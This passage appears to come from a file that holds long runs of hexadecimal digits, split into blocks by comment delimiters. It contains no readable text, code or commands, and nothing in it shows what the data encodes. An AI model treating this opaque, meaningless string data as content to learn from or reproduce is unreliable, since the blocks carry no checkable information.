462f36405e2dc97484b994b12e04a659a5a2c5b0d8d08a226fcc497546a6ca591a9da5aa5e7777ccef83db000d539d1ae9e8afcee1555f7b3f089cb609bdf835e3aae87f740bc80bae259e890a45f284dc0559465df9915f17c70f39338d2e43b9c11aa17e2868d1e0188e1df378a0accebd3a92bc2da89b3f6a6b26598273451cfc1287228e42532fa22a81e75319ee1dc9cad30846b3c336ec07a2ea04f578fdd6007406cfb91210e6eec7711d84f4d8667e4da0bc74ddc2f937348068aa8921e8e427f52f3042bafd79b179397f761dbd12e93ebd4e4676133e6165aafcf0122ad1dd4acb8afa6fb0abac96ab8007b4dd57456d7b579ca3809c1ea6b1a140fb9a7a2b7c4e77d25539a3c8f78fb7e976e583140ca725ec19c547d7da6475a65e01400c5e983381f25bdddb790ed4b3cce51524f02ff6dc884628e94c0d8d559a2da27994d4584fb959b32f444e17b81b3636499243695aeb845724e0ac609b9d8fdcd89b86e9efde0c47a4c4a6badb43291*/
/*57699890741be0b8ec22b03379ac5ea9536ffbfadbe90baf7c18db3f88fe831ccc26bbe61c61ae71ff33376780ed377121af98ecf9ce4f7151701d2c421c784704438b449cf99bf01edc2e24e4323d74a47ed1e8a779c744541d4b97e8df876bd6ef13d1ec163985c24b0934d3db54bd96a9ee0a15e75f316d964d5dfcf9d7b65d9800624fdf3bfc0e1d7de865c1c4a3c619d3361a89fd9b60fcbb54164a60798d40239d97a961533aeaca7e3a26f3dbb59aefba65239cbca05d8f10c041062c0e60f286aa0cdcde30d70441c5526c7ee3ce6b3aa78bb705e0749cc05710917092142dd8d71ac6f795993f11da41cc577f401b1844fb379e9abf598dcc87ba2848abc7091b927b0dd6fe6919b8e706c651c8874980a186108e2580e2348611df68c5aa93ab9a712953b31549e77047b38dd1ecb42ded24d46dd1c125cba1cfb98769305fd83df70d9fe01d5a0b20153f41582a93315936c455dd243599a95a2fddfd2184d2658e464f3b992d0d590b25f13f18bf03ef5df2b8f7d5765640c016ff2d41322bec8e8792429a17ed6bbf1d77a69d84514eb347619210701fb88a86365abf4ad218c652a8f0f66f00af3e9cd9988ab983e89243c146452b76255ebec3a61852b5839cb0cd580ea0f151d9b327068da3f92032b203932b0c14d3ce9afd0893775bc993aa3a5a1d4a3b803227af3173bf0562e52bf9319366ea0158cdb483089e9ea60b68d94b99cc8c03492e288dd161303446a0fe1fb93a2ca469a2a8ec1a1cb782449ca1c07beec63b1b126403fcb94b8f7f67e396de05435c8bd33e77d51a64c67370f1c3d487dc136c97d99c05defd2e289194a37bb8b7e8e939af4e413c631b6a3595920c97760e33b004da292b1267dee8deaadcd080f2995f3e7a143cc373cb6a836ab3c5145650485dc11b672514721b28b7a099920d58a8b23164a73ebdfcde98594838e30768434106530571e8954fd21af574e926ac7e96ddd8fe4a964433d27f9d2f794ee648ed097e892f5c2f85e99aa1879b08910243430527ac55d3b12ad16a869682459736f54cfb33bb3164649d2c3da6e11a8b1418c877b612f9f05bdcb4878a93c601220c542474ba9d2cfff875830512485579b81e7fc09d6ccffe357e44a9c7abe3e4a166cd88847a3ecc27580fa83b7a41eec87de1090965c37b6c0c7d4dc5c0aabcec8b5ff66cda9270c8d7da39e17ad0125ab6c9f3197bc31efaa5fbd7f2e0609561327fe8827a639931b4cd919c2d33c64cd2910a34ed73cb78b97959aa5627ac0c11394108a49f3e07236c7c926329ace4bc28d2c91b45018df668d275e37abd541c55790aef0ebf77a4cf3b38389b4fcc066fe2227580decf067a1743a29b2224399bf9d693898d9de506470bd051c42505046a4040623f77aa08e8a28602df519c68a40619db7a08d285ecef886f2d8f158d6bc199e0b979807c5b04492932b12004b9dfb42e86c48aa921ed463e2519345a1b2c8ccdc1cbb92855f8855beb9c9fbbd9d6b799fc99c48acebfb1f5f56c2eb890d7e3d755a794d542db3bb0b6e3b59498091eea718cc040462bae27cbfef02b65040e4906e2f6e01ecf0ca4bb978170c053dfb08a97c6a5a67681b025150c7fe432818db793bc56016499ccf8a8cd6891a3d7f14fbfec6ea9b9f1878c98d7dc94ddc79261412c546883be04522765347d036f95a2602a4a97263faab79d67cb768eba16ff701810dc7f1bfc101814a2ef61fe42b28a85028c6bbbd13b7d29423eebe71dc0dee9ea70133ee633d1b782f495ffa9c421b6826ff309f03cd3fbf6f24ee9cdf4be7f955527a8339745cd37ff904cca6541c21c0aba304a8a74c6121317663d494230b5eca2cc5a611d119223ba007692b81872b34787c4a3c7566f098bd9abb643aa25677868ade0490c00f8cd152c5f09ff5410cb150b403a8a18dec2d31cb7c1f1b316f0a89ab2d7f22ee3a0a9f57986e6ea880c1ec4d68f1c51ee3c10156f674933561fe5ff3f034be36b0391afb20877de995215a66e08070a8c77b530ecfd7cf8f335292158781b858e2f6fb56787c2a3b71fbf90764e25b42c4f5a77ccf0c54f9eedfb6ae21622fe7aeaaa55079aab92b5e20d0f075cf3689a492d04607b92459c4533d0f2c0443d40505a0f779ea6f86aabb67f2e8de1545377ee857e4bd042906c44f766d29f1fe1921e6b8f78ead09a4cfbd8a344bc388c42081edaf9e237abfd0a7f5f3a49ff8e33b8dd5780698b2d604f819021b11eb1321391dd34c3e61ab6f338c44bc79a7adcb4879b23226a05a9bd807bc420f423420c9de1a7beba35a8545ab9b9e3be1ab77bb97944e8a4da5236f740ab868256522f2852d537dc29a72d64ef8dd17a4fa449b0f5bea5a56dd873d37311b935386ec3f29be02ddb5384e8bab9eb362ed1a9be7f5defc2b92eb808c6d260e6ae077d3a0c9ef0cc921d0d135831726c55f6dfa4282ed781255970f0cb200659b7d8018536baaf821c8c861a69480409e58250922303c49a2796649f53a8b9e6975c1e847c60c16df9eb14876a419824f21ed18de209931a496d223c2287f3db39f66f5fe6bb9322ac07fd4307452a1c60576ae2584b62583e721a5e38fde5cda0f68a7d7792deea0c2ac70a49e8e5b87139b44e604ec0635bf07b2cd1ffd9f36f4c3fe18d7d492f10214eef007038bfffe0c8661b44581b68cea9d3fe258fd7568ba973619dc3627bce12f8b6a11545b8000b6697c4b742d3b1255f86fc3b185f378ea9bf407774cb08b8bbb11abcd73ee68aa68226a8ab9943818fe6906e4e575c8b73e121846886a56e6ca9*/
/*b137c85175b2559d2586534f3e6a8a08f30732a3f8c5d02eadf9284e783356bda75d01169fdb96a9b4c98f61b70595a28798a3336f54fcae52b7c9dd27e0952d7b576e0c228efe774527c648d4e59f6eb2b24f4603be17e2e5c43f7f49183e734d2b5da1f144742e6ce4b2b01ca011d23b6745e0443eaf42a2a0cc6899dfa13d9cfb8d971e088daf2650b3a6c6cc9d2668876938015b2dfa5874a46a71f23ef0fbfe304dcb4fb2dff0ee51d9557339647702a23d0d09965851bbaa23de5f4217ff6a8177b9673dab334fa74deeddb4ff1ea3962b421fdaca213cee8f6bd78d67ab770bbd2aa0caa8637dc7cc67cf5e0918090996563bf84bd03df0535468c80d869d242d0f88b54d512a1713535e628151e3d351264caac6344f776a618ee74a7ba3d20558f12e21ce8552350ee751782ebfe593a39a907ff017bff41849fef51ce427c22d7fdb13709db60704a29111864cfd3c5df59a40bf620ac835a78b2eef2196188d69cb0b61fa0425e8af79f3da0aeb14e02f860c4a46503ec19ac5937bfd37a4cbb2fe7080df6696f0b9c0978fc7b980c4de1f738c66f69c61c4c2a032db9e7cfdc6a1240f4c29fd21b5ca9b45edd281b04a601351bae44248056ee198cb2a308ee2311a10fe4875f369da98cc896c81ab5c935de9a6e4e92d45500f930c842596dcf294f9b170da650ecbadb4e02493bce28cd3d4a13e65cb6d51f3f933cf64fd4beecec4a592641c4ba389b5eee5d9006b6f7f7e9ce7e43ad63f4f756210a1c4a57645cb5d1892512c74d1d6bf6f23d7374aa9ce251dd6cc7a773839789973fb23bc5e2a94b56aa580c4ac5baa92c5552b6b11ba7735e5ad340eec01eafc8744cd8c6ceff63e2d54cd1c39d6b95e9770545e4593b5fcab4b089570fc0cea7dd0840a3035e48737d531ba80c636b07bc0f149e31c0948f5ea52460b80192056dc9e48052041faab372e9095bc8d64ad04b553bf493745f58d6e2d2316ff8792eeb019f24ee3f4667b2e82c4a52d7e2e1744a692d785db949fe039069aa555b161ad8972b650c767fe583fe7104759948b46fc0da2004c7c8ba3075a85b68da4f315fc3649b1655a57dd850fce5d001d7312edf77ca1e3b06a9cc0522d604e725a978e8edfb190321e79c77b5dfbbf118c3f0fe87ceb9c79e087b438746c95f48746f86a602e11e55bfe05630be91654f49abf5d7226aff4757e6fc36e69f179ad0c30c92b7ae07adc3292d6d1d5d1a1a92e200c73afb8bb77642b8459b584fe5f9a4339d8d0a9d947f94c63cd6f76a48b971a12af6343c7628977b51bf007ddff5d79c87e5b256cca784c938c437acc87cb71b1efe200b3d265ef2a95c90e0ff24fa934f2569eb293620df1a9e927add9226c0b28a15491b68212504a9ef7c58ac9e9c2a629ba76f4a4ad674a6c3f23008ce4b96679dcf5ec39742ffb3f8927d5301ec44a5762b8aadff6ea7c4f35cb0ad3e7cd9858a3ce535e1841efddcb68ea19d3824ebced2e1e3c03624746ee39e0a2da42c041db44452c76e8ea4f66618b0fe6a43053d0fe8d27c122f4fa6a6716e957fee322640a339dca4ff8f0341e5ef30f0f3a31f9ac1862e617e2ae22086d21ffc17bc2a42ca358179af92fe0021258e40c7c6a4cd923c077bf510d3f50a9e2aa5ee8a539687df4188268a41c701d1bf66195f10ddfea85538d610f686b0cd1991c70af2bce7bfd23b3826deac7a16eecc67e18b12ccc084df50ebaa54d787a214938a65833a7f4acf60c83338d2e9223c9140b91da49300ff714a29052bd0f25f94a7c4685185ca032c86703cff9cf97ae6e5b10528738c94bf7d7ff4bcd9855622200b850470bd9363d6907ae3f356963e89685354b00910ec047c60df9b99270a2aab7cd230c0cb83cfdd2b5635c21178fefffcf202bf6df091967fcf9003dd42463350721fca6b3598dbc9037eedde756f077edb83ddc5ba9de06eb276447239cf6b1bc4a3a77087f4a4e966dcf30b182eb7f7e43fb2629172d659d6fff860c404745962461f172352c6323f3e5b22dfc19f7314189bf5db6ce164b85cc8e084774c20f36807aef8f26b2cb87b5fa7bdb3de3ba16195696d75797edb90a884b29bb4c1865968d8408d0bb78236faeead1bea890ae87c0526d215468cf8bb763848ad96ebe9a0b9abcbe7e3409bbad2197bc4be8a6cbf31a7b4df4660dbb195ed594115fa9eb260ba22f78080180c8ba87eb79d642a01b6e5337b811ac302c86fa63a9de3be80837d3122d241bb09b6fe87f4839a9a4e2b86fc9a2ab9ecb1cd029c1304c0d06d55a0d8b7a04682322d1994a2cb0f5d177dbed36a8c2495b6a0c107f3a855095cf104831cdd64817872815df894605832996e225fcc859ec3aac812fe30f6992dd75cc48861b99aa0455729094b1e85982ab40a2381e8f4980746aaf943ed9dbde9c42aa90e7cbb7bf2f2e3dcb27a8af257b025bb66271f393d7607af8ee90dc143e7a4e17e32df3d37f6b13bbc7063014167ef0d777c3fc9131debcc531eb665ba96eb671b042ff1bc842f7b1e324b0d8b2953047b4e6ef293c8f6abc2451c378261cbb2fa5b8f55ec680fa8c3fe5381497492cd5c9819a4c2cee19bee7c097230da485a34ee9eb2fa883543e2a832447625e6f3dfa171f7ac6515718eae13d97ad7f76392cbbd5e858da6b123872d325e4bb4642ae9b713fc430f8d0dc7a1f24aa959cc06cd31dc8791452a965fa3b6c5da2e4f3cc9a44d1a3136e5c0425313aa3e0018354d069767f21da95e073cc7f08ef446486853924f0759089dcdb0ab759ced4530d3c4c90ad492007de52160513*/
/*c22ebf5fec7b2e426b8e8135dcf6fae035931b30f6f18c94dd6e63b59503e401f31969d1126b9844703ef822e1aa3686de9fa204fe44f154b372134383b3d3e2721d71eeea2506856fd6098b44f1d46b69cd409bc25a9a7901cfcfd9a34279aafbf59b170ac0f467e41d88e3569758bd7e59c0294256d96c9db21d79859b7b2befe255a7523b2cc3295ae94790a6630eba0f3d239ef7e05b9120698a7e9078266b2da43e8169edc11f54ed072d8926f7cb2609af4b7bdc56b5283b59d0391c40e94b7b299621e5c625cc7ca3b082e2c6da4cc4a10f3d4e9f461aef3c7580fc4a84b2e8685ff20fbfc4062be12cd8016d52edd70ba1e10a228677dd7007d32861c74d974b5bc424c4a20a689826c58f59e50c9fb10c0692e46d4f1e15c289ee02815f3f6a5deb0573f44fb32dcc95638613a2808e7db7afe378e954bee54b99a45e33d3a1cacfcb7bada94584d8fef04e3c9fd1bd0c5a3e8535d8ca97cc8dfd53d4d8219c5864e12e091006073f0673902e22caa1d6c69425a52df51650c576b83fb99bf1e93cb61e468c5fc8721636a3e9bfb3bbe97df19b8668408dfb10a4eb559212835d31dc480cf76b226643d0901a6a46d2cced1fbedb3653efb60047f52cfa1556de973ffa7fdd40dfc6f734ca19d7094c3255e7a472a3880d5a505825467efd90b055ee7f6a36cb3e2af244a6e852d7c00bf0cf1e0e0ef5a73413f7f5b57b6318cf3d2eb4364715a9990d6212ce5a4fab1675f753db482471b9bb0f02183c5ff8f58f1df55c9b6e80a902215c8fb341959efc5d67e4aa546bc61184439a9891049d611f1eb47b8ae075431d134055f99ec2efa6c8cde4395cf088e8d936b6328d8509bb9980c009e8f7c2ac342403d4e970d9192bdd894bc2a40d96b78a1eabdd01a867b6698db0e3170cd3b38f24652be532f915d87e84c95a74b40c7ce26ef503ffa1a942772253623fa624633a4fac483d57b81f525b7e96353bacf8dbdf0d69511772e474283611f6076eb48a02403365b5b2863c529e099c046ab9a5f96505079a3b64bb13e132d4cf2b1c8fac784ed6835e784e0fff54d13eef236479a580e1ab7a4e99414710f2a3e6af241c968aab463f297e0d4d6e96fb8d24c5608d04c497154ec1361b19fff1dae5a20133634a5b12f97a3986fd081f3ec167a51725289efb3da56e5be33c727efeaeade886c7d21a737865836276159a8f0d851df267a087a8b1f52197e15eac2d58ec3cbd04c783c35f07cf1ffd5680295854d366630fb86f11e3ef5f7125a0e0505501e0b1fdb15db44d76860d7ad48c0932fe01c2b746bcdfb1f8740d1029e2ba06deaed437d7376d26954f74b605e2266364ba6e9272eb4e29e4c52600eea13deefaa84b961c3452ea2c4db0e2dab051ae9b81eff142f73d00958e5b88885d10084953ba3146582225475f8e71375f87c016e5b82f4236edc8f2f3d5e826db8552d90cc390fb1a9f12ff16d35d31b5829e6195a3bd4afa91dfa9bf40f40537548f6826b94bfca72f724f796f5a2c92ae3916c72094866cd3f3b316fd2c3cf5008d374b257cfe817cd04bc81e0a13e774055382819e91c3e55ff8d6f42206329c54388e5fa01d11d5d237784e08d288194aae23f1669efe0c6a1777c18a25246b1480f8f1b4d4ad5392594559acf1d618ba5affbe5791e280bf49453be8895d942f5da707e650ca44ae852e4bfd5f7290dd889b47271891a6897f12ede16884598f611f54f0da1666a1697c2777474d8828a1f69fbbe7cb4247b12ed13e3ac0d050696352d1ec2d5a49574d1e3efdb2dce15870bae02959f545f81ee0949c0bd91cc65b296f6bdf79dbea9078996f8f51d36d68cfec1aa88e015f010741cf4b0110466409208de6207b6b4b3b44d4bc0305995b5f845d0d9ef1a69aca3c93a6a8444c9fba9de4fc494a0325f29c167ba71cdbb66be6d93f4ddddf631425b72b9c3cbc66f40a08671b42f3b4b5b26d756079418a61485ac5adb700de0c1b5d7a2c669333247e9cb081bd2f7bcb2967bbc1c47a9fd19467261854b3df13e211b8b0de2392920f3de8d04d7708b5d869fbbddd1c4d1dce73e253ff69f2fbd5ac6946570ecb59233848ac3122ac413138449efb588abbce702678244b52de68f68c68c56c3b602c203ef0026a24726967fe8a3e3e2c9a1d6ddf3387cbd0509643184569674fe0d3726268fbf7d32c515a8bcf1407380e7df0264febf94499ce7453891f246561be8e39b4504891496f29d757969cdec59ba5083936a958529515c330af4b65eeaafe8b50bb12405e440401d2f165f1dafae381742655c36d9b6b68e710e0f170518e13fe33fcf7bee078b328d3a2512e2334280f0d8cf7e8c9fa0fc9306c8a5a5b82368bfcef05499ed8a1089a73fd4a269356f4c5ca947622fb2dd4df75292ba159d3d24bef9d85bae73b3ed6235b233c03c550cdf1b0852d02b35f748e42f20d29c694bf0e0cfd4416ac9da9b2aa7da5e1e1f60686049d8297ab59d0f68bd2dd28d819f15d9a39faa9509f0bf7dc3830fdab01574005dec29e184037a85fd0f3c52b2cdc8d3dba83bfb3f532924c5d1180a614a737f15d487dccd916af276dd5381cc01a27ff6f68fc89d3e108fbc9fc6581eae51053dd0e639eb209ec91221cae9f44f20f40c1c6a1737f2b137c8007123b4cae9ff5dfe061aa4d8fe52c6834d7b19461221a9b98749b2ac287fce3c48cabcc420887173dff46eeecc00d107c5c4ab641304d695e7af913e7e567782fcbecf76944974a5fff057297bc8c0539523fe8a6af208364b580d44b4c6677ffa90bb4d9793bdf41a7*/
/*b5aa96bd587ce74c0ca76fb22cffd9e9112c31bc9876c7c55f23684218d2943b3c2dc1e0bc907212b61f6e255a7d342592e02e21c06fc914a9f10290fc32168287f7753839d72ca005d3f3049e2c76817face383f1cdc973c8c6462b2b145168844e51ab5d2b1433c7e3c5558498f0cd12ad7fa92eaa8588e380a88a5e23c93a589c711322fb9f82746d3d73cf4882ea331729bfb5cce2c826c7af8ebc95d38a85542025b5c3498aadd295d7c5420b4d2e0b73861effc6b5d567822d757211a76b64b2d0393e782d1603e4508dea1f0d21f1951d09a89143990482ac4d312a4a18efbf1d18eb95107b708f4a7b956ea51f8f85c0f8f6c4b06641d68d9c234b2a6bdfac06d45af43dba77b73681300b4ab5dbf21ecc3d03aaeace69d01b25b7d5d8042e65e2260d7bacb7e99b93b673f9ee48be30d6a175ef14dd5abdf2daf4d30fbbba56b840a445da2ce9d6158edf4a944e467bd27bfb823a24b72b1dcf8a2bd9ab8a3286703e9b665366cd341baf393dcee543768c2b97dc7164a47995b4821d74ca9e389f4f11eb51719f1586796d6fd6be0651d5eb90668975c10f447a441004002eddd944c9dca1946df0678e3e1ffa498a408fb00a6700e003c74ad6de181b3a0ddefe7301a2fda9c98b38cb82a85c96d7590627b1eb67f372be55d36526481c81b2148973cae0d2046e7599d4a6dbe34c18f03e5fc2593eebf88503e5e7dd070b6e474a3879bf65636d446408b074c37690bbbd98db17cc3c47cad477fc3e3332450eabecb5cd11dbd7df3bf272932b7b12df7e9b9139f26c445855bc9c4c087ea3f1e608524c61dd4f63ad3f29eeb7f4ce5569645297164a4d447d7dd44aa5de8633b153ba8b7b4fcc2bb5cc143b2b8dd9d03379d7266fc7d6bde4c6364eb17b4d359a7590f6db57651632b7ea8c4a99117b08313a3084faa69e2cf6d2ee1aeaaf58df1f711e15c7f1569dfddd97366cb74993096a1642544eb20d8b5b69e96f9e9020125e62b1030e389aacc3a87b2d7de704eac07bd46c9dc3fd1d77e5cb8e8fb64ab51875c4736891749e6e06dd75abafe0dd102f81e9bba011e3ffdc25b5f45909952773e94db3b70fb79c5cd14ac322eb8515f56aff25c17b05bce81f7c3387e6dce6f8a2540229a8506d6d823be7000348e671aba44f6025def91a08966aa7a3da6c1df2ba45977aeba0d3f91c9bf9bdad7eb7f1847b39a18c7ed9166f0e6c3d24317f75926c8c2dfd27bae49bb9d13b4146c2754349dd592d8974c0fb7371d578d4938814f9d65ea5571d4b4de1819a176a877e87f2c6f40820bd68afd2717540ead86cbdc200320a9688753eed28b57565e07adf64d62cab008f9ce866238a43b9ae74d84f0e0c74f0d77c51a86a0473ba893f611ce59e563c288288d4e12e016383fa8016991d2c67a2a3649924891ea38d539697712a1d654efe6f4577186b9a2b438ca8c0b82bae4f959503c059f3957e2f11c16a35bc91fbb30072f12925ebf3cac821d406e0e8dbf00c3be9218cd8e6545f20494bd2820466e65aa90dc1847b0f6ee8c56e77618ce33a984fef313b76b1d754fa5160232eb940e879b041db5c76c37507b3012aa2b456319e5a79e6b7292c33a0e3d9ee7f756a4ce197bd39e08046eedd51e5f73d8c7cef1cb31b0645f3a27592e167edacb42ee2247744cf997f6d5ee3c311721c260acae4109346b55cc4c63748bc4d5f9011da9d5d7dab8b68b076a7044737e6df0a6f73dd12f6c5363c1bdfed320e281c3379cf77c19547f274879b33d5dbf6961d57e93819e6a51c6d2a42950ba611039193ee9c184a8c844d238b981cd0d8155a364057ec9ae305f320503fb26852a6a291a184a559ae11faac3246eb6a873a4f3cd78cf1268b3522974edb2be8fca8fc028a26bc12119e629c173b46f85245de01ee35290218e99e61ad98655437c78c37364a4140eed1bce30de24aaa25ab15989473bfb62bb689f205b9b157004dccae6eb1665d594dc7f0adb2598cccb9849e2ad9509e032a045c7733361d2efd604ae7e120cab5fa53a5574c16f7700419b2e85b8b513da59bf687e0e2f0a65782cfd3c68c522869d448f8335a90e59cd7e5afe31be42fed1ba13f0596e62cc72b5da7d84a44b42c431b98bcd4cb8bdab7f0ee9970b1fb82558236086b70f5a46d47bdfc43f6add8c6ee0686b337f1fab0f6eb25c414c0659cd6dd8e263b072b28b099911c39f451e6f75afe9c887f5b1903766e6dfd8f6e4ef563b1a4f634937727c4a65f81431c2ab8016d7ff219b76e5cbd92f41ea2f9255bc93ccc1d66b5e0d3f147f541de189dcfa8007777fd7b3773e0cfae849bba912cc067792ad3395a3e22f5e84a8cc8431a13d8286c44bd7ac8d2220139e4b5691b15c35ef8d1f9d6c905012b9d609c431b2a433c155d39ea7fb0741e2031a400b951edfe10f5a31335727f9d18981591b51f478de3621cf8c73c379e6143e009cb30ec928f3afe6903c84f1c4ce08d1fe82f7a534e4cf3a58daa1179205155f2936c945f94705824c616ab9dcb57806d220966dbf2a593dcfa575187c6af1e397ffbdd41d916b8d3850635df36c8b8a2fa8d77428c809f42182b563f3227b96c0d76af70d0149d9c97263cdbacac887b90f949aa70b2423d86c031890a7c38cd607219d2ddbf807a99b0f9686d87dd4d69bd57b4d7e44ab9203bc7f0f581c90013907c8f940b337ffeee9ad87a2aa5a9c759f182948dd71fcd4fde31c6a399110507103249805cc9414e1743c110a3315e1151f7d3638e4c100dc087b02aca469c9d0ba371a8e3e5ba9bf3df351995ce043d9be5*/
/*e8eb712680e3ab96142a7c0c428ff4d1b4a78df3eb8fe7f31f6f4ca4ccf8cd2c2871ff27f912a8a5c048bf29fc008558a51061978ddca5b4fc5b778cc322e4b7e9b327d434fad3599c633be5bc228b82ceeb9eab6207dec3bac1bf7d964c8422712a4d153ab5217851aec76ed36fad7de19c5045fddcf82a672ae8af894cc277ffd4ba8a12955f68f5ee4a946e495edbe8cd09a0bca6d1fac2ef66e991e8c3151bf5c47b99feb44daa1ae5c7644c72f0fad036207be0611ea4c56e2e02bd9f162ad78cb42a32195d4708dad5d972ad7767790a8f6f5ab98a6e3d81126e40516c930ad656257d5461352b45bb34ec5c1598e22cd874f0f7a5a11c69789264030f182fb13098612fc910312bdd63c201ae9aa01d416aff3cdc4585b2451e8e13b2aafaa00e4a3acd5697b75ece3b351f3daf5a5a3bdfb97b7b957c0bd1e8eb54b533cf741008ac26d2531f60ddcb47927af4b0cae5541ba513cfa33acd359adb4bff5abebe4f5326e0e3a855b9fabcc85f9d350024577f35c114c7e18627598b7d57989aa9cee47badc2e4ac524c5e742baec6430cd56010fbe2e5990dd703bb5fcfc924ae62e3b41f6cda282c661c5e863bb15f8bd42925e8edd3a81af4233ea25ac65f55a365ad47aa74fe52a122f88ee07feffc5a07119f6a32dc3affc456a35f01fa24e67529f300335011b60f47c86c1452112590770b58e30193faa516dd738750ddf487c11dc627a5f10e95ac3c14b2dc8d5319e069475f97d96e5169d82811a10ed6e56c0614f70eebd7f718d04dd6c5dcc905e5df63775097e448564d15a854204caaa729e93c1568e604fd4879602143f4576f71096667de12b68809e614f959988264e6b2be3799e34af15c5b9d81f13af68ee03b52fc94df3ec4f49f5324e8580619201518eb2fa56a6fbea2eac1066040372bf079a16785627d44289e81d44f409c288d8a6be3a58d70a16d86e351ee9b4e34261ac8fb7751a072fe6b8e239e90174862c59f47920a1a64c32a1209b87047ce0bc387878e0139273f2d34ee8372c54f1beef05ebaa7d73e9879a8e4ea82d4136f705513e92631e67d8ab2eaa245cd63eb7b80bdb4caecea2fd699a73512674e7fc24164f6f62781eff055e9f415e6ffe45bd16c2b8724a9c21d106338b8226d340978d8cbe50993c85989ebcdd0e68b6e49b0f46300dbe97b389c06ca0a547ee7d0285749ca9e3dc9c3f2e3cefa7a9bfbb0a397ac1e0776bfbf1173dca1c099d1cd43948ade55098b76d66e474c9b96c99cf9165f90869af5d33ddf4026e20d42253888363d08d9329e754cca68d12fb1fecd5f70dfd1ebfc0b8245b46d9ffdb5e52a35f35f990c576807a516679c090fc811c91dcd368ce58f3358cb46418eaca969dac5c1685f4a34e66f9d436a9152aef94013c3d72c84c63d651f45ade23920d1f09c80ae16134ecfe36c64ba551dee9037cf05eeaf9a9f945ef9fe34d6f10e35096b2882a9bdd596529b9ee703e7850d8ab00cd8cee6a7412ef281ee4a738043ef1256cbac60ccd553ff554c968a61a736a7b1fe396db1ffc86aeab784f64a20f8e4886d8e0c54ff31205dc3206e32bdb360dcad6b535a5b743e58c2ee4fc5ccf4aeb88735cd095da0fdea1cee8b587a1bb5ff9b1e5e8a577ff5b958d32871467f9db344a768ec822b6d0c395d324e1a2011de5372848ffa4bff03b823165118e5fc97d1085a62c02d1692488b7f0e14296114547c72f3898c0b4dfb93eb3a5fef5592ff3b75d41d204f8fdc26aa87bdc8e3d1b658bdfdac307d739b4ac035c47da487f377ccb21c329c58608d09853bbc17b71cf016be8fac452bfa6c33ee50815f0f5ba9e45645e009f920f9fb0f7bb0d5fce037daab0ba383c6f3f35f67d54d8b80e2e31b67a3e5597e58db9df4b30d69621cd1ffddffe9696ece81db45ef25619740a15d64a27387394172a7ef81cef62b238baf7c1d7b9d66a96ca6f857c769c349fddcf5baea9f99ed474abc235689945f0663d9eebb82976fdb07c85bcefebd5af415c9a1e18d00f71655b581a346023d8355bae430be71fd04a2d92e0cd3af88970f02cd905ca7bd68abd49e34957a19f091e34898609a0e4d93ed195447ece5a3f69e7c961c896c5cd44a6fed88efa309b10da6d6ba333e936cfdcb1b6a1db1888d5bab72a3aa328638516c903f42f7f91e32b38834f1764bb7653df136fc6309547dec9fa8306886989c4e1bff498847dcdaf451472f298c5338a39abb308de775ea7078336a5f39d89f5bc24a9774378d2ea587cd7b5e810da171a8739de1c2b5e9c84f70f9e86fb8b50fb04938c7b9bbe5c7931e88232eb74994119e37e4e97f782013931e02208da83aa9e43cbfffe87ebb5e7d3ae5e26b6ad4fb76a8b734b6279c042e6d564ef75cbb085ae4a2dc2b508c3737363a7d00889b6e3369cd80b4cbb6aa023c7f36b635808e01a17503647d38a461366e26935e0d73883de3c869726a11fe57f5f836b01b960507b66bf515ba77d4a70938c5b69dcefa2445bcf79082ee00c6b45f069ba1fbb83003f56c94d9f9afe8e62e1a164fd0482f160b22c121b3930363624d90d6f7cd4aaa7ba663170adbeffe96348a0b0dc3085cc233e4b74f1a598ae5ccd7824b7608e596a15df931cc00712354700d5752c4eabcb3c31580b64d467e993d87586599e66c1e84a4ecfc199f848b341c8eb200f29d8798f564eb9662397ccf29f687e42b2cc62c03758ca368f143f00e7cb5211fc4ad2e1b6c01be79b91878c017275fe31f58aa4ea647a0899e71acbf8a36f20d887940ed9bc70228f7a8ba7dc457ac2910*/
/*e5340279ddc12d7ba2c31c54dfd3bda9177f6a8d1e2da4edf955302d60c7079dcf660ef822bdb671eed3f32f0a3d2117289475385ada91cfa755c73f99d80618e95e2c387b1f6fc3a94262e6f73dcdbe60e5039c14144581ad847ecd4d0cb39f912d71aa05cffde0bdedf90f1f9ada215bcc6dac4d4062f06266aaa7f8b7eb3af0b8c992730c0f2e58caf5ba0c2523a152345b9aad8e85996f621ce491c4322cf9fb8f82a6f0f319539f154c1bf1a797114181ca4f361c58b102fd58562baaebb696382e693cd23b853018309712c2679d85c7e6b76b5924adbfe1058e9a9143a57c15e021e958fc524ba3db153d4f61865c215c26101ea61557eebb5aa1c137c543dfd1d0aa06a8f3b749be75f2706c8939a6c6d9e40f81302f221d8e4fba409c20d746d2101e8aa10a8ec40e691a0c089ccda4ce724387ac69d83919fa4a5b6213c59b04ab176e05f04a0c17ac24de8538ea4e442484934652ce4dc5c0067b689654652c781d9b45b44af3ec8183ac4a7e8c0d518c7ef0f2f5a2a93ec2aa04ee86597a07d8d8b4854031ba0c427d14ed07db3fc82ececd862406a4858629ae43ab84902426b167f94811b7457227bdabb8db25757dd682ceff62c8251847ef39accc1777f106e7477eb62678bad188c446c46ba631bafad33b98fc85803abfb289f12bb2c32ef4b260933e6cfb3496fb9523d59369ba0232d141ffdc71101b1a4893b7f4aafe0204f528fa9717088832448a4ec9d623946d7b338a833f63a1932c566024a9cfe01ce7ac2dc14c9a1fcbdb1a5ce48f1de33a61f030c4db6da3ae739c4807c26a636de5e548a7967e62cb93be0edc8f31552a0fa77847442194890ef6283b5874848f5d3d09c574e4e7a71bb110c4b88206559a8e13c97a5645b0397e15720efb8ee274e8e0d925a50323c4a210f682e0991f19974b4fbde6d51643a379ebf2e300152ade164dd8fa7caefb7578af5b0f2737d02e8a253fbd269bb075956e490164663d1d6ce6b3d506236a2299975a488532518b005ba3dfde3934a70e073d71aafbaffef3951346b98ac65ed237b4af297c945ed0240781f42c84ef86b22ceb8cb72142150a6097127c0314eee2505d4df7943c0ee318603b08fc6d71a8fedca23f38efbef48e78809c5a520613704f2efac7b58ae84f1668c825c4ce99a565f1544af21b3d3d31cf4344fadd83a22246b37603dd5c77cf01fd2ebe2972a6eecef7dbd4789543bc6973aa412fec7f3e648258a0c2db6bb3f489472c156cc62505d7c5383a8ac8a05539c3c84fe615f7db5729d7e20f7754e4b144b4ba475e7565374998f5cee99b45b42105e1082967633351acda7519bc95a4b2a411b867f1676cfeb924c407e447308aa7033b11d3c589f7ca6b5ad8994f2641071119ab5553bc80eb1eeab7c8a68afa80f26b1d2820c00d1f1bf5c628b2492993335895569c0e6723ac900438e551bc3fca760ed6494a376f3b4fe52aacd1701843e65a0d4fba36a012e40d85b7f7554b831935392728f1498effce3f08a0055a1d0421c1c8112859633994b50cb045bb41150e60c